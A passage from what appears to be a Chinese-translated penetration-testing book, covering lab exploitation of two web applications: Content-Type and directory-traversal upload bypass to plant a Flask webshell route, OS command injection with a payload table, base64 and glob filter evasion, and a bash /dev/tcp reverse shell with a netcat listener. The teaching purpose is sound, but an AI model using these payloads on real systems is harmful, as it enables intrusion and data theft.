Burp Suite 在 Kali 中预装。通过点击 Kali 机器菜单栏的左上角并搜索 burp suite 启动它。这将打开 Burp Suite 图形用户界面(GUI)在一个独立的窗口中。如果这是你第一次启动该应用程序,它会提示你选择许可证类型和你希望运行的项目文件类型。创建一个使用默认设置的临时项目。
接下来,通过导航到 代理 标签页打开 Burp Suite 浏览器。Burp Suite 允许你通过使用其 代理拦截 功能,暂时停止客户端与远程 web 应用程序之间的所有流量。当前我们不需要启用此选项,因此请确保它的开关按钮设置为 拦截关闭,如 图 6-6 所示。

图 6-6:Burp Suite 代理页面
接下来,点击打开浏览器。这将启动 Burp Suite 内部的基于 Chromium 的浏览器,并将其流量代理到当前运行的 Burp Suite 实例。我们将使用这个浏览器对 web 应用程序发起初步攻击。通过访问 http://172.16.10.10:8081,导航到 p-web-01 web 应用程序。
现在,使用 Burp Suite 浏览器访问 /upload URL 端点。如果你导航到 Burp Suite 的 目标 标签,你应该会看到类似于 图 6-7 中显示的目录结构。点击左侧导航窗格中的上传链接,查看 HTTP GET 请求和响应的详细信息。

图 6-7:Burp Suite 的目标标签页
尝试使用 Burp Suite 浏览器上传原始的 python-webshell-check.py 文件,并检查生成的流量。你应该会看到“文件类型不允许!”的错误信息。在 Burp Suite 中,它应该如 图 6-8 所示。

图 6-8:Burp Suite 中捕获的请求和响应流量
在左侧的请求窗格中,我们可以清楚地看到发送到 /upload 端点的 HTTP POST 请求。它包含了主机、来源和头部信息,但我们将重点关注请求的主体,其中包含文件名、内容类型以及文件内容本身:
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; **filename="python-webshell-check.py"**
**Content-Type: text/x-python**
import subprocess
# Basic python webshell checker
result = subprocess.check_output('id', shell=True)
print(result.decode('utf-8'))
------WebKitFormBoundary
我们希望更改 Content-Type 头部的值,因此我们将这个请求转发到 Burp Suite 的Repeater,这是一个用于操作 HTTP 请求和响应的工具。Repeater 允许我们在重新发送请求到 Web 应用程序之前,修改 HTTP 请求的任何部分。要将请求发送到 Repeater,只需右键点击请求窗格并选择 发送到 Repeater。
现在,转到 Burp Suite 中的 Repeater 标签,并将 Content-Type: text/x-python 修改为 Content-Type: image/jpeg。这个小的修改应该能够欺骗 Web 应用程序,让它认为我们上传的是一个 .jpeg 文件,而实际上我们上传的是一个 Python 文件。请注意,我们并没有修改文件名的 .py 扩展名。
点击位于 GUI 左上角的 发送 按钮并分析响应。HTML 内容中的“文件上传成功!”消息表明,Content-Type 操作成功绕过了文件格式控制。
现在 Web Shell 是否可以在 Web 应用程序的 /uploads 目录中访问?尝试浏览到 URL http://172.16.10.10:8081/uploads/python-webshell-check.py。正如在 图 6-9 中看到的,网页以单行形式显示了 Python 文件的内容,而不是像之前那样自动作为下载提供。

图 6-9:上传到 Web 应用程序的原始 Python Web Shell
尽管我们取得了一些进展,但我们的有效载荷并没有如预期那样在 Web 应用程序中执行。我们希望 python-webshell-check.py 脚本执行 id bash 命令,并将输出通过 HTTP 响应返回给我们。在下一节中,我们将讨论通过考虑执行上下文、文件位置、访问控制以及目标 Web 框架类型来正确部署 Web Shell 的重要性。
Web Shell 阶段
成功弹出 Shell 可能涉及技术层面的考虑,不仅仅是利用文件上传漏洞。以下是您在置备 Web Shell 时应考虑的因素:
执行上下文 考虑目标的编程语言、服务器配置和执行环境。例如,如果应用程序运行在 PHP 服务器上,请确保 Web Shell 代码与 PHP 语法和特性兼容。
文件路径和位置 通过考虑目标应用程序的目录结构、访问控制和文件包含机制,确定 Web Shell 的合适文件路径和位置。识别可写的目录和位置,以便 Web Shell 可以有效地存储和执行。例如,您可能能够上传非图片文件路径,如 /uploads、/files 或 /static,以及图片文件到 /images 或 /imgs。没有单一的标准,文件可以存放在开发人员希望的任何位置。识别 Web 应用程序的根目录也很重要。例如,网站通常存储在 Web 服务器的 /var/www/html 目录下。
访问控制和授权 考虑应用程序中实现的任何访问控制、身份验证机制或用户角色。利用与用户角色、权限提升或身份验证相关的漏洞,可以为成功的 Web Shell 置备提供额外的机会。例如,您可能需要进行身份验证才能上传文件,即使文件之后可以被未经身份验证的用户访问。
Web 应用程序防火墙 诸如 Web 应用程序防火墙等安全系统可能会检测到上传常见 Web Shell 的尝试。它们还可能识别通过 HTTP 参数执行系统命令的尝试。因此,使用像 c99.php 或 b374k 这样的流行 Web Shell 可能会增加被发现和阻止的几率。其他安全系统,如端点检测与响应(EDR),可能会监视系统进程活动;如果它们检测到 Web 服务器进程尝试执行 Shell 命令,可能会触发警报或完全阻止执行。
让我们应用这些原则,置备一个有效的 Web Shell 有效负载,并完全控制 p-web-01 Web 应用程序,以便我们可以在其上执行任何我们想要的 bash 命令。
查找目录遍历漏洞
尽管我们伪造了 Web Shell 的 Content-Type 头以成功绕过服务器的上传控制,但我们未能执行恶意的 Python 代码,因为我们没有在 Flask 服务器上正确置备 Web Shell。
使用 Flask 框架构建的应用程序可能包含一个名为 app.py 或其他类似名称的文件,该文件表示应用程序的入口点。此文件负责初始化和配置应用程序;它创建 Flask 应用程序的实例,并定义其各种路由、视图和配置。操作这个文件是执行 Flask 应用程序 Web Shell 的一种有效方式。
我们可以尝试通过上传一个篡改过的 app.py 文件来覆盖 p-web-01 网络应用程序的原文件,这个篡改版本包含一个恶意的 Web Shell 路由。然而,为了完成这个任务,我们首先需要弄清楚是否能够上传一个文件到 /uploads 目录之外,因为 app.py 应该位于应用程序的父目录中,而该目录并不是 uploads 目录。
目录遍历 漏洞允许攻击者访问目标目录以外的文件或目录。这种弱点通常出现在输入参数或文件上传功能未经过正确验证和清理的情况下。为了利用目录遍历漏洞,攻击者可以构造一个恶意文件名,其中包含目录遍历序列 ../。
例如,攻击者可以上传一个文件,文件名为 ../../../../../etc/password,从而可能修改系统的关键配置信息。一个点(.)表示当前目录,两个点(..)表示父目录。通过使用多个点点斜杠模式(../),我们基本上是在文件系统中向上导航。
如果我们可以操控输入中的文件名,我们就有可能遍历文件系统,然后将恶意的 app.py 文件上传到应用程序的敏感系统目录。让我们看看是否可以将文件上传到 p-web-01 的另一个目录中。Burp Suite 的 Target 标签显示服务器有一个 /static 目录,用于托管像 hero.png 图像这样的永久资源,如 图 6-10 所示。瞄准这个静态目录将是检测服务器是否容易受到目录遍历上传攻击的一个好方法。

图 6-10:Burp Suite Target 标签中显示的 p-web-01 上的 /static 目录
注意
如果你在 /static 目录下看不到图片,点击 Filter 栏位,然后点击 Show All。
在 Burp Suite 的 Repeater 中,我们将在 python-webshell-check.py 文件的文件名中加入一个相对路径,指向 /static 目录。将其重命名为 ../static/python-webshell-check.py,然后发送请求到服务器。根据响应,文件应该已经成功上传。浏览到 /static/python-webshell-check.py URL 来验证这一点。
上传恶意载荷
现在我们知道可以利用目录遍历漏洞了,让我们来准备一个恶意的 app.py 载荷。我们将使用 @app.route() 函数在 p-web-01 中加入一个新的 Web Shell 端点。从本书的 GitHub 仓库中下载恶意版本的 app.py 文件。
当你打开这个文件时,你会看到它几乎是原始 app.py 文件的直接复制。然而,我们在文件的底部添加了另一个路由:
app.py
`--snip--`
❶ @app.route('/webshell/<command>')
def webshell(command):
result = subprocess.check_output(command, shell=True)
return result.decode('utf-8')
❶ 这一行附加了一个新的 /webshell/
让我们使用 Burp Suite 将这个 web shell 上传到 p-web-01。首先,通过将请求中的文件名重命名为 ../app.py,利用目录遍历漏洞。这样做应该允许我们覆盖服务器上原来的 app.py 文件。
下一步是将请求的 Content-Type 头部更改,以欺骗服务器认为我们正在上传一张图片。将头部修改为包含 image/jpeg 内容类型。然后将恶意文件的内容粘贴到请求的主体中。在点击 发送 之前,确保你的请求看起来像 图 6-11 中的那样。(请记住,这张截图没有显示请求主体中完整的文件内容。)

图 6-11:上传包含 web shell 路由的恶意 app.py 文件
如果请求成功,你应该会看到 “文件上传成功!” 的信息。
请注意,利用这个漏洞保留了 app.py 文件的所有原始功能。这个隐蔽的 web shell 利用帮助我们避免被检测到,因为我们保持了站点的核心行为不变,并且没有创建任何新文件。审查 /uploads 目录的分析师不会找到 web shell,因为我们将 shell 添加到 Web 应用程序的源代码中。然而,像 文件完整性监控 (FIM) 这样的安全系统可能会捕捉到文件哈希已被更改。
在实际场景中,尝试覆盖应用程序时要非常小心。这可能不会在第一次尝试时就成功,如果修改后的版本存在代码错误,可能会破坏应用程序。尝试危险的渗透测试技术时,务必寻求授权。
执行 Web Shell 命令
经过三次漏洞链式利用后,我们现在可以在 p-web-01 上执行命令。为此,导航到你刚刚创建的端点,并将一个 bash 命令附加到 URL 上。命令的输出应在浏览器响应中返回。
例如,要找出我们以哪个用户身份操作,可以运行 id 命令,访问 http://172.16.10.10:8081/webshell/id。这应该会输出以下内容:
uid=0(root) gid(root) groups=0(root)
访问 http://172.16.10.10:8081/webshell/pwd 查看我们在系统中的位置:
/app
最后,访问 http://172.16.10.10:8081/webshell/uname -a 来识别我们刚刚攻陷的操作系统:
Linux p-web-01.acme-hyper-branding.com 6.1.x-kali5-amd64 #1 SMP
PREEMPT_DYNAMIC Debian 6.1.xx-1kali1 x86_64 x86_64 x86_64 GNU/Linux
请注意,当我们将 uname -a bash 命令发送到 web shell 时,我们必须使用 %20 表示法对空格字符进行 URL 编码。表 6-1 显示了一些常用的 URL 编码字符,你可以将它们插入到 bash web shell 中。
表 6-1:Bash Web Shell 常用的 URL 编码字符
| 字符 | URL 编码 |
|---|---|
| 空格 () | %20 |
| 斜杠 (/) | %2F |
| 问号 (?) | %3F |
| 和号 (&) | %26 |
| 等号 (=) | %3D |
| 冒号 (😃 | %3A |
| 分号 (😉 | %3B |
| 哈希 (#) | %23 |
| 加号 (+) | %2B |
| 逗号 (,) | %2C |
现在我们已经在服务器上获得了初步控制,让我们开发一个独特的 bash 脚本,以便更好地与其交互,这样我们就不必使用浏览器了。
练习 8:构建一个 Web Shell 接口
在本练习中,你将开发一个 bash 脚本,用于自动向你上传到 p-web-01(172.16.10.10)的 Web Shell 发送命令,并解析你收到的输出。该脚本应通过发送基于本地 bash 输入提示符输入的 bash 命令生成的 HTTP 请求与 Web Shell 进行交互。
由于命令可能包含特殊字符,因此你需要确保正确编码所有输入。你还需要返回干净的输出,只包含相关的命令执行响应。清单 6-1 显示了一个这样的 Web Shell 脚本示例。
webshell.sh
#!/bin/bash
❶ read -p 'Host: ' host
read -p 'Port: ' port
while true; do
read -p '$ ' raw_command
❷ command=$(printf %s "${raw_command}" | jq -sRr @uri)
❸ response=$(curl -s -w "%{http_code}" \
-o /dev/null "http://${host}:${port}/webshell/${command}")
http_code=$(tail -n1 <<< "$response")
# Check if the HTTP status code is a valid integer.
if [["${http_code}" =~ ^[0-9]+$]]; then
❹ if ["${http_code}" -eq 200]; then
❺ curl "http://${host}:${port}/webshell/${command}"
else
echo "Error: HTTP status code ${http_code}"
fi
else
echo "Error: Invalid HTTP status code received"
fi
done
清单 6-1:一个 Web Shell 接口
我们通过收集远程目标的主机地址和端口来开始脚本,以便我们可以连接到目标 ❶。在一个 while 循环内,脚本要求用户输入要执行的命令 ❷。我们通过使用 jq 及其内置的 @uri 函数对命令字符串进行编码,该函数将输入字符串转换为 URI 编码字符串。
接下来,我们向目标发送一个特别构造的 curl 请求 ❸。-s 选项抑制任何与 bash 命令无关的不必要的 curl 输出。接下来,-w 参数指定 curl 的自定义输出格式。在这种情况下,"%{http_code}" 是一个占位符,将被请求的 HTTP 响应代码替换。这使我们能够单独获取状态码。此外,我们可以看到,这个 curl 请求使用了 -o 输出参数,并将其指向 /dev/null,意味着我们丢弃响应体。
在 ❹,我们检查 HTTP 状态码是否为 200。然后我们发送第二个 curl 请求来获取 ❺ 处的输出。
你能进一步改进这个脚本吗?尝试实现以下一些功能:
使用单个 HTTP 请求:移除每个命令都需要发送两个 curl 请求的需求。
改变目录持久性:使用 cd 在文件系统中移动时,让你的脚本跟踪当前工作目录。
创建历史审计日志:当命令被发送到 Web Shell 时,将它们存储在一个日志中,记录哪些命令在何时执行。
使用快速访问别名:不再要求用户手动输入目标主机和端口,而是将这些参数作为命令行参数接收,并将包含这些参数的完整脚本路径存储为别名。
Web Shell 的局限性
尽管 Web Shell 很有用,但它们有几个局限性。这里我们讨论一些常见的缺点。
缺乏持久性
Web Shell 通常是临时的,仅在被攻陷的 Web 服务器仍然可访问时存在。系统管理员可能会定期监控并清理上传的文件,从而降低它们的持久性和有效性。此外,如果服务器被关闭、打补丁或重新配置,Web Shell 可能会变得无效,从而降低你保持访问的能力。
实时响应的缺乏
来自命令的实时响应,如 ping,将无法工作,除非你限制发送的 ping 命令的数量,否则你的 Web Shell 可能会挂起,因为像 CTRL-C 这样的热键无法使用来退出命令。
功能有限
Web Shell 通常提供有限的反馈或错误信息,这使得故障排除或理解失败的根本原因变得具有挑战性。它们仅提供通过本地系统管理工具可用功能的一个子集,并且可能缺少一些高级的 bash 功能,例如键盘快捷键。
我们已经考虑了一种获取目标服务器初始访问的方法。让我们通过考虑另一种方法来结束本章:操作系统命令注入。
操作系统命令注入
操作系统命令注入是一种安全漏洞,当应用程序允许用户通过输入未授权的操作系统命令并将其传递给应用程序时,就会发生此漏洞。作为攻击者,我们可以利用目标系统缺乏适当的输入清理来注入这些恶意命令,从而获得对系统的初步控制。
与 Web Shell 不同,操作系统命令注入攻击不需要我们将恶意文件上传到服务器。相反,我们必须识别目标应用程序中直接依赖用户输入来构造操作系统命令的地方。然后,我们必须通过注入特制字符或序列来操纵用户提供的输入,突破预期的输入上下文并运行我们自己的命令。
例如,以下是一个 Python Web 应用程序的代码片段,允许用户提交文件名以进行处理:
import os
def process_file(filename):
**command = "ls -l " + filename**
output = os.popen(command).read()
return output
如你所见,应用程序的 process_file() 函数接受文件名参数,并将其传递给 ls -l 操作系统命令,而没有首先检查输入中的特殊字符或其他恶意内容。
如果文件名的值来自另一个接受不可信用户输入的函数,攻击者就可以利用此漏洞;在这种情况下,他们可以将额外的命令注入文件名参数。例如,如果攻击者提交了一个恶意的文件名输入,比如 file.txt; id,应用程序将构造以下命令:
ls -l file.txt; id
该输入首先通过使用文件名 file.txt 执行预定的 ls -l 命令,然后运行注入的 id 命令。
注意,输入依赖于分号 bash 控制操作符(;)来转义预期的输入上下文。在第一章和第二章中,您学到了一些这些操作符,它们对 bash 解释器具有特殊意义。表 6-2 展示了如何使用这些操作符来测试可能存在的操作系统命令注入漏洞。
表 6-2:常见的操作系统命令注入技术
| 操作符 | 描述 | 示例用法 |
|---|---|---|
| 分号 (😉 | 在单行中执行多个命令 | 文件名=abc.txt; id |
| 管道符(|)或双管道符(||) | 连接命令并重定向命令输出,同时提供 OR 条件逻辑 | 文件名=abd.txt | cat /etc/passwd |
| &符号或双&符号 (&) | 连接命令或在后台运行命令,同时提供 AND 条件逻辑 | 文件名=abc.txt & ls -l |
| 命令替换 (`, $()) | 替换命令 | 文件名=cat /etc/passwd |
| 重定向操作符 (>, >>, <) | 重定向输入/输出 | 文件名=abc; cat /etc/passwd > pass.txt |
| 双引号和单引号 (", ') | 封装命令参数 | 文件名="abc.txt; id" |
让我们在实验室中利用操作系统命令注入漏洞。我们不使用特殊的黑客工具来发现漏洞,而是依赖我们对 bash 语法的理解。
我们将瞄准位于 http://172.16.10.12 的 p-web-02 web 应用程序。在 第五章 扫描此应用程序时,我们注意到两个有趣的端点:donate.php 文件和 amount_to_donate.txt 文件。
浏览至 http://172.16.10.12/donate.php 查看 donate.php 网页。如图 6-12 所示,页面似乎包含一个简单的表单,其中有一个文本输入字段和一个提交按钮。

图 6-12:p-web-02 应用程序上的捐赠页面
通过手动测试,我们将更好地了解此应用程序的功能。尝试在文本输入字段中输入 1,然后提交它(图 6-13)。

图 6-13:成功的捐赠响应
正如您所见,输入内容显示在页面上显示的响应消息中。请注意页面的 URL 如何更改以包含等于 1 的金额参数。
现在,浏览至 http://172.16.10.12/amount_to_donate.txt 查看 amount_to_donate.txt 文件。您会看到我们之前从 donate.php 表单输入的值 1 已保存到服务器上的此 .txt 文件中。这表明基于来自 web 应用程序的输入执行了某种类型的文件系统处理,并且我们发现的表单可能是注入操作系统命令的良好入口点。
让我们尝试在 donate.php 页面执行操作系统命令注入。提交分号控制操作符(;)以及 bash 命令 id。在表单中提交后,遗憾的是,似乎有一个验证脚本捕获了分号字符。你应该会在网页上看到消息 Character ; is not allowed。
不用担心;我们可以尝试另一种方法。让我们注入一个管道符号(|)而不是分号。如 图 6-14 中所示,输入被接受。

图 6-14:成功的操作系统命令注入响应
如果你检查 amounts_to_donate.txt 文件,你应该能看到证据,证明命令已经成功注入该文件中,因为我们能够识别出运行 id 命令的输出。在 图 6-15 中,你可以看到 www-data 用户正在运行 p-web-02(172.16.10.12)Web 应用程序。

图 6-15:注入命令的输出
使用浏览器的检查工具或 Burp Suite 代理,我们可以看到操作系统命令注入发生,通过发送一个 GET 请求到 /donate.php?amount=。
练习 9:构建命令注入接口
和你在练习 8 中构建的 Web Shell 接口一样,开发一个 bash 脚本,通过利用 p-web-02 的操作系统命令注入漏洞,使得发送命令变得更加容易。
这个接口脚本应该与 donate.php 端点交互,用于发送命令,同时与 amount_to_donate.txt 端点交互,用于解析和显示命令的响应。该脚本还应该只返回当前命令的响应,而不是 amount_to_donate.txt 文件中所有先前命令结果的完整转储。
列表 6-2 显示了一个示例解决方案。
os-command -injection.sh
#!/bin/bash
read -rp 'Host: ' host
read -rp 'Port: ' port
while true; do
read -rp '$ ' raw_command
command=$(printf %s "${raw_command}" | jq -sRr @uri)
# Store the previous list of command outputs.
❶ prev_resp=$(curl -s "http://${host}:${port}/amount_to_donate.txt")
# Execute the OS Command Injection vulnerability.
❷ curl -s -o /dev/null "http://${host}:${port}/donate.php?amount=1|${command}"
# Store the new list of command outputs.
❸ new_resp=$(curl -s "http://${host}:${port}/amount_to_donate.txt")
# Extract only the difference between the two command outputs.
❹ delta=$(diff --new-line-format="%L" \
--unchanged-line-format="" \
<(echo "${prev_resp}") <(echo "${new_resp}"))
# Output the command result.
echo "${delta}"
done
列表 6-2:操作系统命令注入接口
这段代码与 Web Shell 接口脚本的开始非常相似:通过收集目标连接详情,并开始一个 while 循环,提示用户输入要编码的命令。
在发送操作系统命令注入请求之前,脚本首先需要对 amount_to_donate.txt 文件的内容进行快照,并将其保存到名为 prev_resp 的变量中 ❶。稍后我们会讨论这样做的原因。
在下一个 curl 请求中,我们将 amount 参数注入编码的命令,并在其前面添加 1| 值 ❷。发送 curl 请求后,我们会发送另一个快照请求,捕获 new_resp 变量中的新 amount_to_donate.txt 文件内容 ❸。
最后,为了显示命令的正确输出,我们运行一个 diff 操作,提取 prev_resp 和 new_resp 变量之间的差异 ❹。diff 输出会存储在 delta 变量中,展示了注入后新创建的所有 amount_to_donate.txt 文件行。
尝试扩展这个脚本,使它更有用。例如,你可以增加支持查看所有已执行命令及其响应的功能,通过将它们写入文件,然后在脚本运行时,当使用特殊命令时再显示它们。
绕过命令注入限制
正如我们观察到的那样,开发人员通常会实施数据清理检查,以防止针对其 Web 应用的操作系统命令注入攻击。我们运气不错,因为目标中没有阻止管道符(|)字符。即便如此,了解一些绕过命令注入控制的方法仍然很重要。
混淆和编码
当我们在本章早些时候向 Webshell 发送命令时,URL 编码要求给我们带来了需要克服的挑战。然而,编码和混淆实际上可能帮助我们在某些情况下避开检测。像 URL 编码、base64 编码和字符编码这样的技术,可以隐藏有效负载,避开安全控制、检查和过滤。
例如,我们可以将整个命令(如 ls -l)进行 base64 编码,并将其隐藏在输入中。通过将以下有效负载发送到/donate.php,来测试此编码:
| **$(echo 'bHMgLWw=' | base64 -d)**
你应该会收到 Web 应用当前工作目录的完整文件系统列表。
该技术旨在绕过简单的模式匹配或过滤机制,这些机制通常用于检测。像正则表达式这样的基本技术将很难识别编码后的 bHMgLWw=字符串中的 bash 命令。
模式匹配
模式匹配是使用通配符模式部分或完全匹配文件名或文件中其他内容的过程。如果一个字符串包含如?、*、[、]或!等字符,它就被认为是一个通配符模式。
模式匹配很有趣,因为它允许我们指定可以扩展为特定文件名或目录的模式,而不需要实际提供精确的名称,这样可能绕过访问限制。考虑 Linux 上的/etc/passwd文件。为了查看它,我们可以使用 ls 命令,后面跟上特定的路径和文件名:
$ **ls -l /etc/passwd**
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd
但我们也可以运行这样的命令,通过使用?通配符字符来列出该文件:
$ **ls -l /etc/p?sswd**
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd
Bash 将尝试将此模式匹配到/etc目录下的文件。由于passwd是唯一一个名称模式相似的文件,?字符将扩展为a,这与passwd匹配。
我们可以使用相同的方法访问潜在受限的目录:
$ **ls -l /e??/passwd**
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd
因为在文件系统的根目录(/)下,没有其他目录名是三个字符长并且以e开头,所以该模式将匹配/etc目录。
模式匹配可以变得更极端。如何填充所有字符为问号,除了最后一个字符?如果目录中没有相似的文件名,这也会匹配/etc/passwd:
$ **ls -l /???/?????d**
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd
我们可以将通配符与大括号扩展(brace expansion)结合起来,以匹配 /etc 下的多个模式。在以下示例中,bash 将搜索以 p 开头、以 d 结尾的文件,以及以 g 开头、以 p 结尾的文件。这应该会匹配如 /etc/passwd 和 /etc/group 这样的文件:
$ **ls /??c/{p????d,g???p}**
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd
熟悉像通配符(globbing)这样的特性是有帮助的,因为你可能会遇到一些应用程序(甚至是 web 应用防火墙),它们限制了输入中某些字符的使用,而没有考虑到通配符,这使得我们能够绕过过滤器和验证。
例如,web 应用防火墙通常会阻止对包含如 http://example.com?file=/etc/passwd 这样的参数的 URL 的请求。根据应用程序如何使用文件名,通配符可能有助于绕过防火墙的检测逻辑。
总结
正如你在前面的章节中看到的,bash shell 的强大功能是不可否认的,这也使得打开一个 shell 成为一个令人兴奋的前景。这些 shell 为进一步的利用和目标系统的横向移动提供了可能性。
在本章中,我们通过部署 web shell 和注入操作系统命令,获得了对目标系统的低权限立足点。我们还利用 bash 构建了这些漏洞的可访问接口,并探讨了通过通配符等策略对 bash 命令进行混淆的方法。在下一章中,我们将探索一些跨不同环境建立远程 shell 的技术。
第七章:7 反向外壳

你已经练习过通过建立提供临时单向网络通道的 Web 外壳来获得目标的初步访问。在本章中,我们将探索一种更稳定的初步访问技术:使用反向外壳,它改变了网络通信的方向。攻击者使用这些反向连接从被攻陷的目标机器到他们自己的机器,进而在更同步的方式下获得对被攻陷系统的可靠控制并远程执行命令。
你将学习如何创建反向外壳,并使与远程环境的通信更加稳健。作为附加内容,你还将学习如何通过使用 bash 作为攻击工具强行进入 SSH 服务器。
反向外壳如何工作
反向外壳常用于后期利用活动,它使攻击者能够在不直接从自己的机器连接的情况下,保持对被攻陷系统的控制,从而避开防火墙的限制。
反向一词指的是初始网络流量的方向。在传统的外壳或命令执行流程中,攻击者的机器通常是连接到被攻陷系统,发出命令并控制它。然而,在反向外壳的情况下,目标系统是主动联系攻击者的。让我们来探索反向外壳的一些原理。
入口与出口控制
反向外壳通信帮助我们绕过防火墙规则、网络限制以及其他旨在阻止传入(入口)连接的安全措施,包括我们在第六章中讨论的操作系统命令注入和 Web 外壳攻击。
然而,防火墙和网络安全设备通常会配置为允许进行正常互联网活动所需的外发(出口)连接。在建立反向外壳时,被攻陷的系统会发起与攻击者机器的出口连接,这通常是默认允许的。防火墙可能将这个出口连接视为合法操作,因此不会触发警报或安全警告。
一旦建立了反向外壳连接,它应该允许攻击者保持对被攻陷系统的控制。成熟的环境可能会阻止向不受信任的网络地址的外发流量,但实施这种限制通常不是一项简单的任务,尤其是在网络中的某些机器需要访问广泛的网络地址范围时。
外壳有效载荷和监听器
要设置反向 Shell,你需要两个工具:一个负载和一个监听器。负载 在目标机器上运行。你将根据目标系统可用的技术和编程语言以及其运行的平台类型来使用不同的反向 Shell 负载。在本章中,我们将使用 bash 创建一个反向 Shell 负载,但你可以在 github.com/nicholasaleks/reverse-shells 找到不同的反向 Shell 负载列表。
Shell 监听器 是一个运行在攻击者机器上的程序,用于接收来自被攻陷目标系统的反向 Shell 连接。当反向 Shell 负载在目标系统上执行时,负载会尝试连接到攻击者的机器。Shell 监听器程序作为这些传入连接的处理程序;它在特定端口上监听,等待连接的建立,并提供一个交互式的 Shell 会话,攻击者可以在其中输入命令并发送到被攻陷的服务器,允许攻击者控制被攻陷的服务器,就像他们直接访问该机器的 Shell 一样。
在渗透测试中最常用的 Shell 监听器之一是 Netcat。我们在第四章中使用了它来执行端口扫描,但这个多功能的命令行工具还可以以多种方式从网络连接中读取和写入数据。我们将在本章中讨论它,并介绍一些替代工具,如 Socket Cat(socat)和 pwncat。
通信序列
图 7-1 描述了使用反向 Shell 时网络通信的序列。

图 7-1:反向 Shell 的通信序列
创建反向 Shell 包括以下步骤:
1. 设置 Shell 监听器:攻击者机器初始化一个 Shell 监听器,运行在一个可从互联网访问的特定端口上。
2. 利用目标服务器:攻击者通过漏洞入侵目标系统。
3. 上传反向 Shell 负载:攻击者制作反向 Shell 负载,并通过利用目标系统中的潜在漏洞来传送它。
4. 执行负载:负载在目标服务器上执行。
5. 请求反向连接:负载尝试连接到攻击者的机器,充当客户端。
6. 接受 Shell 连接:监听器接收传入的连接,并通过网络与目标机器建立双向通信通道。
7. 执行命令并获取服务器控制:反向 Shell 连接建立后,攻击者获得对被攻陷目标系统的控制,可以远程执行 Shell 命令。
在下一节中,我们将看到这些步骤的实际操作。
执行连接
让我们使用 bash 在 Kali 攻击者机器和目标 p-web-02 网站应用服务器(172.16.10.12)之间建立反向 shell 连接。
设置 Netcat 监听器
首先,我们必须使用 Netcat 在 Kali 机器上设置一个 shell 监听器。在一个全新的终端窗口中执行以下命令:
$ **nc -l -p 1337 -vv**
-l 选项指示 Netcat 监听传入连接。-p 1337 选项指定监听的端口号,-vv 选项启用详细模式,为监控和调试提供更详细的输出。
注意
在实际场景中,选择一个与环境融合的端口,使其更难被发现。例如,端口 1337 上的外发连接可能会引发警报,而蓝队分析员可能会忽视如 80 或 443 等常用端口上的流量,这些端口通常用于 HTTP。
当命令执行时,Netcat 应该开始在指定的端口上监听传入连接。
创建有效载荷
接下来,我们将通过使用 列表 7-1 中的单行 bash 来创建一个交互式反向 shell 有效载荷。我们将在下一步将此行作为用户输入提交给目标应用程序。
bash -c 'bash -i >& /dev/tcp/172.16.10.1/1337 0>&1'
列表 7-1:反向 shell 有效载荷
-i 选项使 bash shell 变得交互式,允许它接收输入并生成输出。/dev/tcp 路径是 Linux 中一个特殊的 伪设备文件,它提供对 TCP 套接字的访问。类似的文件 * /dev/udp* 也存在,提供对 UDP 的访问。我们在文件路径中添加 Kali 机器的 IP 地址以及 Kali shell 正在等待连接的端口:/dev/tcp/172.16.10.1/1337。
& 语法将标准输出(stdout)和标准错误(stderr)流合并为一个流。通过合并这些流,我们确保反向 shell 有效载荷生成的常规命令输出和任何错误信息都会被重定向到我们的监听器。
你可能已经注意到,我们使用 bash -c 将整个有效载荷包裹在单引号中。这种特殊的包裹方式使我们能够明确调用一个新的 bash shell 实例,同时指定一个命令字符串,通过 -c 选项来执行。它还确保随后执行的命令将使用 bash 来执行,而不管目标系统上设置的默认 shell 是什么。你甚至可以指定 bash shell 的完整可执行路径(使用 /bin/bash -c)来进一步确保有效载荷正确执行。
传递和初始化有效载荷
为了传递我们创建的单行反向 shell 有效载荷,我们将利用我们在 第六章 中识别的 p-web-02(172.16.10.12)中的操作系统命令注入漏洞。请注意,图 7-2 包括了完整的反向 shell 有效载荷,以及用于利用该漏洞的管道元字符 |。

图 7-2:成功将反向 shell 有效载荷注入 p-web-02
点击 Donate 按钮应立即触发反向 shell 连接。在运行 shell 监听器的 Kali 终端窗口中,你应看到以下输出:
`--snip--`
listening on [any] 1337 ...
172.16.10.12: inverse host lookup failed: Unknown host
connect to [172.16.10.1] from (UNKNOWN) [172.16.10.12] 54530
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@p-web-02:/var/www/html$
成功!我们已经再次获得了一个 shell,并攻陷了 p-web-02 服务器。在最后一行的提示符中,我们可以看到确认信息,表明我们已经通过使用 www-data 用户在 p-web-02 主机上获得了一个活动的 shell,并且当前工作目录是 /var/www/html。
执行命令
现在我们可以像使用任何其他 shell 一样使用 Kali shell 监听器终端。让我们通过反向 shell 在 p-web-02 上远程执行一个 bash 命令:
`--snip--`
bash: no job control in this shell
www-data@p-web-02:/var/www/html$ **uname -a**
Linux p-web-02.acme-impact-alliance.com 6.1.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC
Debian 6.1.12-1kali1 x86_64 GNU/LinuxTypes of Reverse Shells
在本示例中,我们远程执行了 uname -a 命令,并自动将其输出流返回给 Kali 监听器。
我们甚至可以通过输入进程快照命令 ps aux 来进行一些连接的内部查看,查看当前正在运行的反向 shell 进程(列出 7-2)。
`--snip--`
www-data@p-web-02:/var/www/html$ **ps aux**
USER PID %CPU %MEM VSZ RSS TTY STAT TIME COMMAND
root 1 0.0 0.4 233332 38868 ? Ss 0:03 apache2 -DFOREGROUND
www-data 19 0.0 0.2 234012 21652 ? S 0:00 apache2 -DFOREGROUND
www-data 20 0.0 0.2 234012 21384 ? S 0:00 apache2 -DFOREGROUND
www-data 21 0.0 0.5 234644 47224 ? S 0:00 apache2 -DFOREGROUND
www-data 22 0.0 0.2 234020 21776 ? S 0:00 apache2 -DFOREGROUND
www-data 23 0.0 0.2 234020 21528 ? S 0:00 apache2 -DFOREGROUND
www-data 24 0.0 0.2 234012 21448 ? S 0:00 apache2 -DFOREGROUND
www-data 131 0.0 0.0 2480 520 ? S ❶ 0:00 sh -c echo | bash -c
'bash -i >& /dev/tcp/172.16.10.1/1337 0>&' >> amount_to_donate.txt
